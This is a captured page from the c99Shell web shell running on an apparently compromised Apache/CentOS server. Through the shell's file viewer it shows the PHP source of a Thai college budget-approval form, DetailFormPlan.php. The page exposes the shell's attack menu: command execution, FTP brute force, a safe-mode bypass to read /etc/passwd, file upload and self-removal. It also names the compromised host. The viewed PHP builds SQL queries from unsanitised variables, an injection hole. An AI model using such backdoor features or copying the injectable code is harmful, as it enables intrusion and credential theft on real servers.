!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DetailFormPlan.php (20.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/FunctionDB.php" );
        require_once( 
"../calendar/check.php" );
        require_once( 
"../link/function.php" );
        
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable "project_tb";
        
$myTable1 "personal_tb";
        
$myTable2="project_type_tb";
        
$myTable3 "formproject";
        
$myTablePK "ProjectId";
         
$myOrderBy "Date";
         
        
$query " SELECT *  FROM $myTable1   WHERE  Faculty_code='$Faculty_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
                
         
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM $myTable  WHERE   Faculty_code='$Faculty_code'    AND  ProjectId='$ProjectId'  AND Project_code='$Project_code'  ORDER BY  Date  DESC    ";
        
$result $dbObj->execQuery($query);
        
//$rs = $dbObj->fetchArray($result);
        
$numrows $dbObj->_numrows;
        
                 
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>

</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="774" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
  
    <td width="774" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
     <table width="735" border="0" align="center" cellpadding="0" cellspacing="0">
      <form id="pc" name="pc" method="post" action="EditFromA.php?Teacher_code=<?=$Teacher_code;?>&Training_code=<?=$Training_code;?>&codeId=<?=$codeId;?>">
      <tr>
        <td width="735" height="5"></td>
      </tr>
      <tr>
        <td align="center">
          <?php

        ?>
          <table width="713" align="center" cellpadding="0" cellspacing="0">
            <tr height="31">
              <td height="31" colspan="6" align="center" class="PATRON11"><table width="775" border="0">
                <tr>
                  <th width="71" height="63" scope="col">&nbsp;</th>
                  <th width="523" align="center" scope="col">ใบขออนุมัติใช้เงินตามแผน</th>
                  <th width="152" align="right" scope="col">MIS103</th>
                  </tr>
                </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6">ส่วนราชการ</a>&nbsp;<input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php      $collegeCode =  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'   ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>" size="40" />
                </font></td>
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />
            </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">ที่&nbsp;&nbsp;</a>
                <input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15" />
                </a></td>
              <td></td>
              <td><span class="style1">วันที่ &nbsp;<font color="#0000FF" size="2" face="Tahoma">
                <input name="Date2" type="text" id="Date2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="10"  value="<?php 
                $sday 
$rs0['Start_Date'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month =  intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                        echo 
abbreDate(date("d-m-Y"));
                
?>" />
                
              </font></td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">เรื่อง</a>
                <input name="Da " type="text" id="Da " style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขออนุมัติใช้เงินตามแผนดำเนินการ" size="30" />
                </a></td>
              <td width="35"></td>
              <td width="251">&nbsp;</td>
              <td width="49"></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ<font color="#0000FF" size="2" face="Tahoma">
                <input type="text" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php  $collegeCode =  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'   ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>" size="40" />
              </font></td>
              <td></td>
              </tr>
            <tr height="29">
              <td width="111" height="25"></td>
              <td colspan="5" align="left">ข้าพเจ้า<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> " />
              </font> ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="35"  value=" <? $PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
              </font></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">สังกัด<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<?php  $Faculty_code =  $rss["Faculty_code"];
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
 
$result1 mysql_query($sql) or die("Error".mysql_error());
 
$rs2 mysql_fetch_array($result1);
 echo 
"$rs2[Faculty_name] "?>" />
              </font><font color="#0000FF" size="2" face="Tahoma">
              <input name="Name3" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40"  value="<?php
                         $collegeCode 
=  $rss["collegeCode"];
                        
$sql "Select * From college   Where collegeStatus ='1'";
                         
$result1 mysql_query($sql) or die("Error".mysql_error());
                        
$rs2 mysql_fetch_array($result1);
                         echo 
"$rs2[collegeName] "?> " />
             </font> สถาบันพระบรมราชชนก</a></td>
              </tr>
              
            <tr height="29">
              <td height="29" colspan="6" align="left"><table width="777" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="background-color:#EEEEEE; border:0px solid gray" size="12">
                <tr bgcolor="#F8F8F8">
                  <td height="23" colspan="6" align="left" bordercolor="#999966" bgcolor="#FFFFFF"><strong>รหัสกิจกรรม</strong></a>
                    <?php
                    
                    $sql 
" SELECT * FROM project_type_tb  WHERE  Project_code='$Project_code' ";
                    
$result3 mysql_query($sql);
                    
$rs3 mysql_fetch_array($result3);
                        echo 
$rs3['Orderlist'];
                    
?>
                    </a> เรื่อง
                    <?php
                
                    $sql4 
" SELECT * FROM project_type_tb  WHERE  ProjectId='$ProjectId' "  ;
                    
$result4 mysql_query($sql4);
                    
$rs4 mysql_fetch_array($result4);
                        echo 
htmlspecialchars_decodenl2br$rs4['Project_plan'] ) );
                    
?>
                    </a></td>
                  </tr>
                 
                <tr bgcolor="#F8F8F8">
                  <td height="23" colspan="3" align="left" bordercolor="#999966" bgcolor="#FFFFFF">&nbsp;</td>
                  <td colspan="3" align="center" bordercolor="#999966" bgcolor="#FFFFFF">&nbsp;</td>
                </tr>
                <tr>
                 
                  <td align="center" valign="top" bgcolor="#CCCCCC">No</a></td>
                  <td height="21" align="center" valign="top" bgcolor="#CCCCCC">รายการ</a></td>
                  <td align="left"  bgcolor="#CCCCCC" class="PADDING-LEFT-3">หมวดเงิน</a></td>
                  <td width="11%" align="left" bgcolor="#CCCCCC" class="PADDING-RIGHT-10">ผู้ดำเนินการ</a></td>
                  <td width="13%" align="right" bgcolor="#CCCCCC" class="PADDING-RIGHT-10">วันที่ดำเนินการ</a></td>
                  <td align="right" bgcolor="#CCCCCC" class="PADDING-RIGHT-5">จำนวนเงิน </a></td>
                </tr>
                     
       <?php
              $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#FFFFE0'" onmouseout="this.style.backgroundColor=''">
                  <td width="4%" align="center" valign="top" bgcolor="#FFFFFF"><?=$no;?></td>
                  <td width="48%" height="21" align="left" valign="top" bgcolor="#FFFFFF"><?=$rs['Training_name'];?>
                    </a></td>
                  <td width="14%" align="left" valign="top" bgcolor="#FFFFFF" class="PADDING-LEFT-3">(
                    <?php         
                $MoneyS_C 
$rs['MoneyS_C'];
                
$sql " SELECT *  FROM money_source_tb  WHERE  MoneyS_C='$MoneyS_C' ";
                
$result5 $dbObj->execQuery($sql);
                
$rs5 $dbObj->fetchArray($result5);
                    echo 
$rs5['MoneyS_M'];
                
?>
                    )</a></td>
                  <td align="left" bgcolor="#FFFFFF" class="PADDING-RIGHT-10"><?php
        
        
          $sql3 
"Select * From personal_tb Where Teacher_code='$rs[Teacher_code]' ";
          
$result3 $dbObj->execQuery($sql3);
           
$rs3 $dbObj->fetchArray($result3);
                       echo 
"อ.$rs3[Teacher_name]";
                
?>
                    </a></td>
                  <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-10"><?php 
                $sday 
$rs['Date'];
                
$yearthai explode("-",$sday);
                
$day intval($yearthai[2]);
                
$month intval($yearthai[1]);
                
$year intval($yearthai[0]);     
                
$m getThaiSubMonth($month);
                    echo 
"$day"." "."$m"." "."$year";
                
?>
                    </a></td>
                  <td align="right" bgcolor="#FFFFFF" class="PADDING-RIGHT-5"><?php echo number_format($rs['Budget_use'],2,'.',','); ?></td>
                </tr>
                <?php
                $no
++ ;
                } 
# while
              
?>
                <tr bgcolor="#F8F8F8">
                  <td height="21" colspan="5" align="right" bordercolor="#000000" bgcolor="#FFFFFF" class="PADDING-RIGHT-10" style="border-top:0px double #EEEEEE"><strong>จำนวนเงินที่ใช้</strong></a></td>
                  <td width="10%" align="right" bordercolor="#000000" bgcolor="#FFFFFF" style="border-top:0px double #EEEEEE"><span class="PADDING-RIGHT-5" style="border-top:0px double #EEEEEE">
                    <?php         
              $sql 
" SELECT SUM(Budget_use) AS SumB1  FROM project_tb   WHERE  ProjectId='$ProjectId' "  
              
$result11 mysql_query($sql);
              
$rs11 mysql_fetch_array($result11);
                   echo 
number_format($rs11['SumB1'],2,'.',',');
           
?>
                    </a></td>
                </tr>
                <tr bgcolor="#F8F8F8">
                  <td height="21" colspan="5" align="right" bordercolor="#000000" bgcolor="#FFFFFF" class="PADDING-RIGHT-10" style="border-top:0px double #EEEEEE"><strong>วงเงินที่ตั้งไว้ตามแผน</strong></a></td>
                  <td align="right" bordercolor="#000000" bgcolor="#FFFFFF" style="border-top:0px double #EEEEEE"><span class="PADDING-RIGHT-5" style="border-top:0px double #EEEEEE"><strong class="TEXT-CLIMSON10">
                    <?php         
             
              $sql 
" SELECT * FROM project_type_tb  WHERE ProjectId='$ProjectId' "  
              
$result22 mysql_query($sql);
              
$rs22 mysql_fetch_array($result22);
                  echo 
number_format($rs22['Budget_total'],2,'.',',');
           
?>
                  </strong></a></td>
                </tr>
                <tr bgcolor="#F8F8F8">
                  <td height="21" colspan="5" align="right" bordercolor="#000000" bgcolor="#FFFFFF" class="PADDING-RIGHT-10" style="border-top:0px double #EEEEEE"><strong>คงเหลือเงินตามแผน</strong></a></td>
                  <td align="right" bordercolor="#000000" bgcolor="#FFFFFF" style="border-top:0px double #EEEEEE"><span class="PADDING-RIGHT-5" style="border-top:0px double #EEEEEE">
                    <?php         
              $Sum3 
$rs22['Budget_total'] - $rs11['SumB1'] ;
              echo 
number_format($Sum3,2,'.',',');
           
?>
                    </a></td>
                </tr>
              </table></td>
            </tr>
            <tr height="29">
              <td height="29" colspan="6" align="left">&nbsp;</td>
            </tr>
            <tr height="31">
              <td height="31" colspan="3">&nbsp;</td>
              <td colspan="3" align="left">                   </td>
            </tr>
            <tr height="31">
              <td height="31" align="left">&nbsp;</td>
              <td width="95">&nbsp;</td>
              <td width="170">&nbsp;</td>
              <td>&nbsp;</td>
              <td align="center">ลงชื่อ .................................</td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29">&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td></td>
              <td align="center">(<font color="#003366" size="1" face="Tahoma"> <? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font> )</td>
              <td></td>
              </tr>
            <tr height="31">
              <td height="31">&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td colspan="3" align="left">ความเห็นหัวหน้าฝ่าย/ภาค</a></td>
              </tr>
            <tr height="29">
              <td height="28" colspan="2"> จึงเรียนมาเพื่อโปรดอนุมัติ</a></td>
              <td></td>
              <td colspan="3"><font color="#0000FF" size="2" face="Tahoma">
                <input name="Info_name" type="text" id="Info_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30" />
              </font></td>
              </tr>
            <tr height="29">
              <td height="16" colspan="3" align="left">&nbsp;</td>
              <td></td>
              <td></td>
              <td></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">ลงชื่อ............................. ฝ่ายบริหาร</a></td>
              <td></td>
              <td>...................................</td>
              <td></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2" align="center">(..................................)&nbsp;&nbsp;</td>
              <td align="left">                                        </td>
              <td colspan="3" align="left">ลงชื่อ<font size="1" face="Tahoma"><a>
                <?php
                    
//$Teacher_code =  $rss["TeacherId"];
                    
$sql "Select * From    personal_tb   Where  Faculty_code ='$Faculty_code'  and   TeacherId='1'  ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rs2 mysql_fetch_array($result1);
                    echo 
"$rs2[First_name]$rs2[Teacher_name] &nbsp;&nbsp;$rs2[Teacher_lastname]";
                 
?></a></font>                <input name="TeacherId" type="hidden" id="TeacherId" value="<? echo $rs2["Teacher_code"]?>" /></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="3" align="left">&nbsp;</td>
              <td colspan="3" align="left">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
                <input name="Name4" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="25"  value="<? $PositionId =  $rs2["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$PositionId'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
              </font></td>
              </tr>
            <tr height="29">
              <td height="29" colspan="2">&nbsp;</td>
              <td></td>
              <td colspan="3" align="left">วันที่.....เดือน...........พ.ศ.....</td>
            </tr>
            <tr height="31">
              <td height="31"></td>
              <td></td>
              <td></td>
              <td align="left"><div align="center">คำสั่ง</div></td>
              <td></td>
              <td></td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td align="left"></td>
              <td colspan="2" align="left"><label>
                <input type="checkbox" name="checkbox" value="checkbox" />
                </label>
                อนมัติ         
                <input type="checkbox" name="checkbox2" value="checkbox" />
                ไม่อนุมัติ</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left"> (ลงชื่อ)........................……..</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left">&nbsp;</td>
            </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left">&nbsp;</td>
              </tr>
            <tr height="29">
              <td height="29"></td>
              <td></td>
              <td></td>
              <td colspan="3" align="left">วันที่.....เดือน............พ.ศ.......</td>
              </tr>
            <tr height="31">
              <td height="10" colspan="6" align="center">&nbsp;</td>
            </tr>
            </table></td>
      </tr>
      <tr>
        <td align="center">&nbsp;</td>
      </tr>
      </form>
    </table>
   </td>
  </tr>
</table>

</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--